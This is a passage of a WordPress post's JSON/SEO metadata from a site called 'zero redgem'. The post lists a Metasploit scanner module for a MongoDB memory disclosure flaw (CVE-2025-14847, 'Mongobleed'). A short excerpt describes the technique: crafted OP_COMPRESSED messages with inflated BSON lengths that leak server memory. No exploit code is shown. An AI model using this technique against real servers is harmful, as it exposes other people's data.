;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/mongodb\/cve_2025_14847_mongobleed\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-30T19:04:46&#8243;,&#8221;description&#8221;:&#8221;This module exploits a memory disclosure vulnerability in MongoDB&#8217;s zlib decompression handling CVE-2025-14847. By sending crafted OPCOMPRESSED messages with inflated BSON document lengths, the server&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,19,12,15,169,13,7,11,5],"class_list":["post-33340","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-87","tag-exploit","tag-high","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=33340\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-30T19:04:46&#8243;,&#8221;description&#8221;:&#8221;This module exploits a memory disclosure vulnerability in MongoDB&#8217;s zlib decompression handling CVE-2025-14847. By sending crafted OPCOMPRESSED messages with inflated BSON document lengths, the server...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=33340\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-30T13:49:43+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"18 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33340#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33340\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"MongoDB Memory Disclosure (CVE-2025-14847) &#8211; Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED-\",\"datePublished\":\"2025-12-30T13:49:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33340\"},\"wordCount\":3536,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.7\",\"exploit\",\"HIGH\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=33340#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33340\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33340\",\"name\":\"MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-30T13:49:43+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33340#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=33340\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=33340#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"MongoDB Memory Disclosure (CVE-2025-14847) &#8211; Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=33340","og_locale":"en_US","og_type":"article","og_title":"MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-30T19:04:46&#8243;,&#8221;description&#8221;:&#8221;This module exploits a memory disclosure vulnerability in MongoDB&#8217;s zlib decompression handling CVE-2025-14847. By sending crafted OPCOMPRESSED messages with inflated BSON document lengths, the server...","og_url":"https:\/\/zero.redgem.net\/?p=33340","og_site_name":"zero redgem","article_published_time":"2025-12-30T13:49:43+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"18 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=33340#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=33340"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"MongoDB Memory Disclosure (CVE-2025-14847) &#8211; Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED-","datePublished":"2025-12-30T13:49:43+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=33340"},"wordCount":3536,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.7","exploit","HIGH","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=33340#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=33340","url":"https:\/\/zero.redgem.net\/?p=33340","name":"MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-30T13:49:43+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=33340#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=33340"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=33340#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"MongoDB Memory Disclosure (CVE-2025-14847) &#8211; Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/33340","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=33340"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/33340\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=33340"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=33340"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=33340"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}